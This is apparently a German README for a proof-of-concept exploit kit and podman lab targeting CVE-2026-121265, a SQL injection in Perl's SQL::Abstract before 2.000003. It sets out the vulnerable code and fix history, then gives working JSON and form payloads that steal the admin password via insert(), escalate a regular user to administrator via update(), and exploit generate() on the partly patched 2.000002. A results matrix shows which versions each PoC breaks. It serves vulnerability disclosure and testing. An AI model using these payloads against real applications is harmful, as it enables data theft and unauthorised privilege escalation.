
PoC und containerisierte Lab-Umgebung für CVE-2026-121265, eine arrayref-SQL-Injection in SQL::Abstract vor 2.000003, mit INSERT/UPDATE-Exfiltration, Privilegieneskalation und generate()-Vektoren.
Ursache: Bei deaktivierter Option array_datatypes (der Standard vor 2.000002) behandelt SQL::Abstract einen Arrayref-Spaltenwert als literales SQL in insert(), update() und values(): Element [0] gelangt unescaped in den SQL-Text und der Rest wird zu Bind-Werten. Ein Angreifer, der einen beliebigen Spaltenwert kontrolliert – z. B. ein JSON-Array in einem Request-Body oder ein als Arrayref dekodiertes wiederholtes/mehrwertiges Formularfeld –, erhält unauthentifizierte SQL-Injection in jeder Anwendung, die Request-Daten an insert/update übergibt. Derselbe Fehler überstand die erste Patch-Runde in generate() (und damit in AUTOLOAD, wenn allow_autoload aktiv ist), weshalb die Advisory jede Version vor 2.000003 abdeckt.
| CVE | CVE-2026-121265 |
| Advisory | CPAN Security Group, oss-sec 2026-11-07 |
| CWE | CWE-89 (SQL Injection) |
| Betroffen | SQL::Abstract < 2.000003 (1.87, 2.000000, 2.000001, 2.000002, dev 2.000001_01.._05) |
| Behoben | 2.000003 (generate() gepatcht; 2.000002 behob insert/update/values + änderte den Standard von array_datatypes, verfehlte aber generate()) |
| Auswirkung | Vollständige SQL-Injection: Datenexfiltration, Rechteausweitung, Manipulation des Schemas |
| Referenzen | https://seclists.org/oss-sec/2026/q4/574 , https://github.com/dbsrgits/sql-abstract |
SQL-Abstract-2.000001, _expand_insert_value():
if (ref($v) eq 'ARRAY') {
if ($self->{array_datatypes}) {
return +{ -bind => [ $k, $v ] };
}
my ($sql, @bind) = @$v;
$self->_assert_bindval_matches_bindtype(@bind);
return +{ -literal => $v }; # <-- element [0] inlined into the SQL text, unescaped
}
Das identische Muster existierte in _expand_update_set_values() und in
generate() (sowohl im Hashref-Zweig "$label = $sql" als auch im Arrayref-Zweig):
$sqla->update('t', { name => ["x, is_admin = 1"] });
# < 2.000002 default: UPDATE t SET name = x, is_admin = 1
# 2.000002+: UPDATE t SET name = ? (bind: ['x, is_admin = 1'])
$sqla->generate('update t', { name => ["(SELECT password FROM users)"] });
# 2.000002: UPDATE T SET name = (SELECT password FROM users) <-- still vulnerable
# 2.000003: UPDATE T SET name = ? (bind)
Fix-Zeitplan (aus den Changes 2.000002 / 2.000003):
2.000001_05 (2026-11-03): unvollständiger Fix.2.000002 (2026-11-05): array_datatypes standardmäßig aktiviert; insert() / update() /
values() gepatcht. generate() blieb unbehandelt.2.000003 (2026-11-06): generate() (und AUTOLOAD) gepatcht; \[ $sql, @bind ]
wird zur dokumentierten Literal-SQL-Form.Ein Angreifer erreicht den Arrayref-Wert über jeden Decoder, der einen solchen erzeugt:
{"email": ["(SELECT ...)"]} → Arrayref.every_param() / param() im Listenkontext (CGI.pm,
Catalyst, Mojolicious, ...).Containerisiertes (podman) A/B-Lab. Ein Image pro SQL::Abstract-Version, plus ein
ARRAY_DATATYPES=0-Build von 2.000003, um den Bypass zu testen.
cve-target (bounded) cve-pocN attacker (bounded, --rm)
image cvelab-target:<ver> same image as runtime + ./poc:/poc
- debian:bookworm-slim perl + Mojo::UserAgent
- SQL::Abstract <ver> built from CPAN src
- DBD::SQLite + Mojolicious
- app.pl JSON API "Corp Portal"
Endpunkte:
| Endpunkt | Sink | Verwendet von |
|---|---|---|
POST /api/register | insert() aus JSON-Body | PoC 1 |
POST /api/register-form | insert() aus Formular (every_param-Arrayref) | PoC 4 |
POST /api/me/update | update() aus JSON-Body | PoC 2 |
POST /api/save-form | generate() zum Aufbau einer SET-Klausel | PoC 3 |
POST /api/login, GET /api/me, GET /api/admin/flag, GET /api/admin/secrets | parametrisiert | Exfiltration / Auswirkung |
cd lab
./run_matrix.sh # build + run the full version/config matrix, transcripts -> evidence/
./run_poc.sh all # run PoC 1..4 against the running target
poc/poc1_insert_exfil.pl)POST /api/register
{"username":"poc1_<ts>","email":["(SELECT password FROM users WHERE username='admin')"],"password":"x"}
Generiertes SQL (2.000001): INSERT INTO users (email, password, username) VALUES (?, ?, (SELECT password FROM users WHERE username='admin')) -- das
Ergebnis der Unterabfrage wird als E-Mail-Adresse des Angreifers gespeichert und im Profil zurückgegeben:
FLAG{adm1n_p4ssw0rd_51337}.
poc/poc2_update_escalate.pl)POST /api/me/update (X-Api-Key: <regular user token>)
{"bio":["'x', is_admin = 1 --"],"email":"..."}
Generiertes SQL: UPDATE users SET bio = 'x', is_admin = 1 --, email = ? WHERE id = ?
Das -- kommentiert den Rest der Anweisung aus (DBD::SQLite ignoriert stillschweigend
die nun ungenutzten Bind-Werte). Der reguläre Benutzer wird zum Administrator und liest
GET /api/admin/flag -> FLAG{c0rp_p0rt4l_pr0duct10n_fl4g_2026}.
generate() / AUTOLOAD-Injection (poc/poc3_generate_autoload.pl)POST /api/save-form
{"fields":{"bio":["'x', is_admin = 1 --"]}}
Der Endpunkt baut mit generate() eine SET-Klausel und fügt sie in ein
UPDATE ein. Funktioniert auf 2.000001 und weiterhin auf 2.000002, wo insert()/update()
bereits gepatcht waren -- ein direkter Beweis dafür, dass 2.000002 über den
zuletzt in 2.000003 behobenen Pfad weiterhin ausnutzbar bleibt.
poc/poc4_form_array.pl)POST /api/register-form (application/x-www-form-urlencoded)
username=poc4_<ts>&password=x&tags=(SELECT password FROM users WHERE username='admin')
every_param('tags') gibt eine Arrayref zurück -> derselbe primitive Typ wie das JSON-Array, kein JSON involviert.
Vollständige Transkripte in evidence/. Exit-Code 0 = Ausnutzung erfolgreich.
| PoC | 2.000001 | 2.000002 | 2.000003 | 2.000003 + array_datatypes=0 |
|---|---|---|---|---|
| PoC 1 INSERT-Exfil | ✅ | ❌ | ❌ | ✅ Bypass |
| PoC 2 UPDATE-Eskalation | ✅ | ❌ | ❌ | ✅ Bypass |
PoC 3 generate() | ✅ | ✅ | ❌ | ✅ Bypass |
| PoC 4 Formular | ✅ | ❌ | ❌ | ✅ Bypass |